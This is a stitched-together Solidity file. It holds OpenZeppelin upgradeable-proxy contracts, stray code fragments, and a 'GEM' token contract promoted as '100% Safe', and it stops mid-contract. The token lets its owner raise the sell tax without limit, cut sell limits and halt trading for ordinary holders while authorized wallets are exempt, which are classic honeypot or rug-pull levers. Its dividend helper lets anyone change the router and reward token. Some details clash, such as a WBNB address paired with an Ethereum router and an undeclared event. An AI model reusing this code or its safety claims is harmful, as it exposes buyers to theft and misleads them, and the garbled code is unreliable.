* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(
Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
// File: @openzeppelin/contracts/proxy/Proxy.sol
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File: @openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol
pragma solidity ^0.8.0;
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(
_IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation()
internal
view
virtual
override
returns (address impl)
{
return ERC1967Upgrade._getImplementation();
}
}
// File: @openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol
pragma solidity ^0.8.0;
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(
_ADMIN_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation()
external
ifAdmin
returns (address implementation_)
{
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(
msg.sender != _getAdmin(),
"TransparentUpgradeableProxy: admin cannot fallback to proxy target"
);
super._beforeFallback();
}
}
// File: contracts/Liti/proxy.sol
pragma solidity >=0.8.0;
contract LitiProxy is TransparentUpgradeableProxy {
constructor(
address _logic,
address admin_,
bytes memory _data
) TransparentUpgradeableProxy(_logic, admin_, _data) {}
}
|
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). Emits a {BeaconUpgraded} event./
|
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(
IBeacon(newBeacon).implementation(),
data
);
}
}
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
| 13,512,507
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/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
/**
Welcome...You have found yourself a $GEM!
6% Buy + Sell Tax - 2% LP + 4% Marketing
Liquidity Locked for 3 Months Shortly After Launch
100% Stealth Launch
100% Safe
You have found this $GEM...You are safe...hold it, shill it and take care of it like a true $GEM and enjoy your next 1000x
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* C U ON THE MOON
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* Allows for contract ownership along with multi-address authorization
*/
abstract contract Auth {
address internal owner;
mapping (address => bool) internal _intAddr;
constructor(address _owner) {
owner = _owner;
_intAddr[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public onlyOwner {
_intAddr[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public onlyOwner {
_intAddr[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) internal view returns (bool) {
return _intAddr[adr];
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
_intAddr[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function changeToken(address newToken) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
// Default Token our contract
IBEP20 rewardToken = IBEP20(address(this));
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; // MAINNET
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 30 * 60;
uint256 public minDistribution = 1 * (10 ** 12);
uint256 currentIndex;
/* Custom Events */
event DividendsDistributed(address shareholder, uint256 value);
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token); _;
}
constructor (address _router) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_token = msg.sender;
}
function setRouterAddress(address _router) external {
router = IDEXRouter(_router);
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = rewardToken.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WBNB;
path[1] = address(rewardToken);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);
uint256 amount = rewardToken.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) { return; }
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){
currentIndex = 0;
}
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address _shareholder) internal {
if(shares[_shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(_shareholder);
if(amount > 0){
totalDistributed = totalDistributed.add(amount);
rewardToken.transfer(_shareholder, amount);
shareholderClaims[_shareholder] = block.timestamp;
shares[_shareholder].totalRealised = shares[_shareholder].totalRealised.add(amount);
shares[_shareholder].totalExcluded = getCumulativeDividends(shares[_shareholder].amount);
emit DividendsDistributed(_shareholder, amount);
}
}
function changeToken(address _newToken) external override {
rewardToken = IBEP20(_newToken);
}
function claimDividend() public {
distributeDividend(msg.sender);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) public view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
function getSharesAmount(address _shareholder) external view returns (uint) {
return shares[_shareholder].amount;
}
function getSharesExcluded(address _shareholder) external view returns (uint) {
return shares[_shareholder].totalExcluded;
}
function getSharesRealised(address _shareholder) external view returns (uint) {
return shares[_shareholder].totalRealised;
}
function getSharesHolders() external view returns (address [] memory) {
return shareholders;
}
function getTotalShares() external view returns (uint) {
return totalShares;
}
function getTotalDividends() external view returns (uint) {
return totalDividends;
}
function getDividendsPerShare() external view returns (uint) {
return dividendsPerShare;
}
function getMinDistribution() external view returns (uint) {
return minDistribution;
}
function getMinPeriod() external view returns (uint) {
return minPeriod;
}
}
contract TEST is IBEP20, Auth {
using SafeMath for uint256;
using Address for address;
address rewardToken = address(this);
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; // MAINNET
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress =0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // MAINNET
// address routerAddress =0x8178b2B32E553ad96Ff19C8546F1340651b0C784;
string constant _name = "GEM";
string constant _symbol = "GEM";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1 * 10**9 * (10 ** _decimals);
uint256 public _maxTxAmountBuy = _totalSupply * 5 / 1000; // 0.5%
uint256 public _maxTxAmountSell = _totalSupply * 1 / 100; // 1%
//max wallet holding of 1%
uint256 public _maxWalletToken = ( _totalSupply * 1 ) / 100; // 1%
uint256 deadBlocks = 2;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 liquidityFee = 2;
uint256 reflectionFee = 0;
uint256 marketingFee = 4;
uint256 devFee = 0;
uint256 public totalFee = 6;
uint256 sellMultiplier = 100;
uint256 feeDenominator = 100;
address autoLiquidityReceiver;
address marketingFeeReceiver;
address devFeeReceiver;
uint256 targetLiquidity = 20;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public tradingOpen = false;
uint256 public launchedAt = 0;
DividendDistributor distributor;
uint256 distributorGas = 500000;
// Cooldown & timer functionality
bool public opCooldownEnabled = true;
uint8 public cooldownTimerInterval = 15;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 5 / 1000; // 0.5% of supply
/* Custom Events */
event SwapBackEvent(uint amountBNB, uint amountBNBLiquidity, uint amountBNBReflection, uint amountBNBMarketing);
event AirDropEvent(address[] addresses, uint256[] tokens);
event RouterChangedEvent(address _router);
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
distributor = new DividendDistributor(address(router));
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[routerAddress] = true;
// No timelock for these people
isTimelockExempt[msg.sender] = true;
isTimelockExempt[DEAD] = true;
isTimelockExempt[address(this)] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = false;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
// NICE!
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = msg.sender;
devFeeReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!_intAddr[sender] && !_intAddr[recipient]){
require(tradingOpen,"Trading not open yet");
}
// max wallet code
if (!_intAddr[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver && recipient != devFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
opCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
// Checks max transaction limit
if(!_intAddr[sender] && !_intAddr[recipient]){
checkTxLimit(sender, amount);
}
// Liquidity, Maintained at 20%
if(shouldSwapBack()){ swapBack();}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
// Dividend tracker
if(!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
// switch Trading
function tradingStatus(bool _status) public authorized {
tradingOpen = _status;
if(tradingOpen){
launchedAt = block.number;
}
}
function checkTxLimit(address sender, uint256 amount) internal view {
if (sender == pair){
require(amount <= _maxTxAmountBuy || isTxLimitExempt[sender], "TX Limit Exceeded");
}else{
require(amount <= _maxTxAmountSell || isTxLimitExempt[sender], "TX Limit Exceeded");
}
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
uint256 multiplier = sender == pair ? 100 : sellMultiplier;
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function setSellMultiplier(uint256 multiplier) external authorized{
sellMultiplier = multiplier;
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function clearStuckBalance(uint256 amountPercentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(marketingFeeReceiver).transfer(amountBNB * amountPercentage / 100);
}
// enable cooldown between trades
function cooldownEnabled(bool _status, uint8 _interval) public authorized {
opCooldownEnabled = _status;
cooldownTimerInterval = _interval;
}
function swapBack() internal swapping {
uint256 dynamicliquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicliquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicliquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(dynamicliquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
if (amountBNBReflection > 0){
try distributor.deposit{value: amountBNBReflection}() {} catch {}
}
(bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
(bool tmpSuccessDev,) = payable(devFeeReceiver).call{value: amountBNBDev, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccessDev = false;
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
emit SwapBackEvent(amountBNB, amountBNBLiquidity, amountBNBReflection, amountBNBMarketing);
}
// Set the maximum transaction limit
function setTxLimit(uint256 amountBuy, uint256 amountSell) external authorized {
_maxTxAmountBuy = amountBuy;
_maxTxAmountSell = amountSell;
}
// Set the maximum permitted wallet holding (percent of total supply)
function setMaxWalletPercent(uint256 maxWallPercent) external authorized() {
_maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
}
// Blacklist a holder from dividends
function setIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
}else{
distributor.setShare(holder, _balances[holder]);
}
}
// Whitelist a holder from fees
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
// Whitelist a holder from transaction limits
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
// Whitelist a holder from timelocks
function setIsTimelockExempt(address holder, bool exempt) external authorized {
isTimelockExempt[holder] = exempt;
}
// Set an address exempt for all (use to public sale)
function setAllExempt(address _holder, bool _exempt) external authorized {
isFeeExempt[_holder] = _exempt;
isTxLimitExempt[_holder] = _exempt;
isTimelockExempt[_holder] = _exempt;
if (_exempt){
authorize(_holder);
}
else {
unauthorize(_holder);
}
}
function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _devFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
devFee = _devFee;
totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(_devFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/4);
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver) external authorized {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
devFeeReceiver = _devFeeReceiver;
isFeeExempt[_autoLiquidityReceiver];
isFeeExempt[_marketingFeeReceiver];
isFeeExempt[_devFeeReceiver];
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external authorized {
require(gas < 750000);
distributorGas = gas;
}
function setRewardToken(address _newToken) external authorized {
require(_newToken.isContract(), "Enter valid contract address");
rewardToken = _newToken;
distributor.changeToken(_newToken);
}
function setRouterAddress(address _router) external authorized {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
isDividendExempt[pair] = true;
isTxLimitExempt[_router] = true;
distributor.setRouterAddress(_router);
emit RouterChangedEvent(_router);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
